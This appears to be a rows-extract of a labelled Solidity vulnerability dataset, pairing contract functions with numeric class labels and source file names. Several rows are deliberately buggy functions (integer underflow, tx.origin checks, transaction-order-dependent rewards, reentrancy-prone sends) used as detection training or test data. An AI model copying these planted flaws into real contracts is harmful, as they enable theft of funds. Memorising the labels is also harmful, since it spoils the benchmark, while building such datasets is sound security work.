} | 3 | buggy_20.sol |
6,830 | function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findtwoPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
} | 0 | buggy_28.sol |
9,110 | function allowance(address owner, address spender) external view returns (uint256); | 0 | buggy_40.sol |
12,382 | function setReward_TOD38() public payable {
require (!claimed_TOD38);
require(msg.sender == owner_TOD38);
owner_TOD38.transfer(reward_TOD38);
reward_TOD38 = msg.value;
} | 4 | buggy_20.sol |
23,059 | function() public payable { } | 0 | 0xe09b1ab8111c2729a76f16de96bc86a7af837928.sol |
18,411 | function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
} | 0 | buggy_30.sol |
3,047 | function totalSupply() external view returns (uint256); | 0 | buggy_14.sol |
3,764 | function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_1.sol |
2,608 | function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public {
require(tx.origin == owner_txorigin39);
to.call.value(amount);
} | 1 | buggy_39.sol |
12,011 | function claimReward_TOD22(uint256 submission) public {
require (!claimed_TOD22);
require(submission < 10);
msg.sender.transfer(reward_TOD22);
claimed_TOD22 = true;
} | 4 | buggy_22.sol |
6,701 | function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
} | 2 | buggy_15.sol |
18,967 | function version() external pure returns(string memory)
{
return '0.0.1';
} | 0 | buggy_6.sol |
24,707 | function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
} | 0 | buggy_28.sol |
24,041 | function bug_unchk_send5() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_38.sol |
2,458 | function approve(address spender, uint256 value) external returns (bool); | 0 | buggy_38.sol |
13,113 | function setReward_TOD14() public payable {
require (!claimed_TOD14);
require(msg.sender == owner_TOD14);
owner_TOD14.transfer(reward_TOD14);
reward_TOD14 = msg.value;
} | 4 | buggy_44.sol |
2,882 | function cancelListing(uint256 id) external {
Listing storage listing = listingsById[id];
require(listing.active, "This listing was turned inactive already!");
require(listing.seller == msg.sender || owner == msg.sender, "Only the listing owner or the contract owner can cancel the listing!");
listing.active = false;
emit Canceled(id);
} | 0 | buggy_29.sol |
3,877 | function bug_intou7() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_32.sol |
20,568 | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
} | 0 | buggy_11.sol |
16,100 | function start() public onlyOwner
{
_start();
} | 0 | buggy_7.sol |
6,247 | function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
} | 0 | buggy_8.sol |
12,338 | function setReward_TOD10() public payable {
require (!claimed_TOD10);
require(msg.sender == owner_TOD10);
owner_TOD10.transfer(reward_TOD10);
reward_TOD10 = msg.value;
} | 4 | buggy_20.sol |
3,278 | function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow
} | 2 | buggy_24.sol |
12,204 | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
} | 0 | buggy_34.sol |
14,910 | function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
} | 5 | buggy_24.sol |
2,253 | function withdraw()
public
onlyowner
{
owner.transfer(this.balance);
} | 0 | incorrect_constructor_name3.sol |
1,516 | function withdrawAll_txorigin14(address payable _recipient,address owner_txorigin14) public {
require(tx.origin == owner_txorigin14);
_recipient.transfer(address(this).balance);
} | 1 | buggy_20.sol |
15,165 | function _approve(address holder, address spender, uint256 value) private {
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
} | 0 | buggy_30.sol |
17,194 | function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
} | 0 | 0xbe4041d55db380c5ae9d4a9b9703f1ed4e7e3888.sol |
22,668 | function bug_unchk_send31() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_5.sol |
21,403 | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
} | 0 | buggy_30.sol |
10,715 | function setReward_TOD10() public payable {
require (!claimed_TOD10);
require(msg.sender == owner_TOD10);
owner_TOD10.transfer(reward_TOD10);
reward_TOD10 = msg.value;
} | 4 | buggy_30.sol |
1,476 | function release(
address _pool,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
)
external; | 0 | buggy_20.sol |
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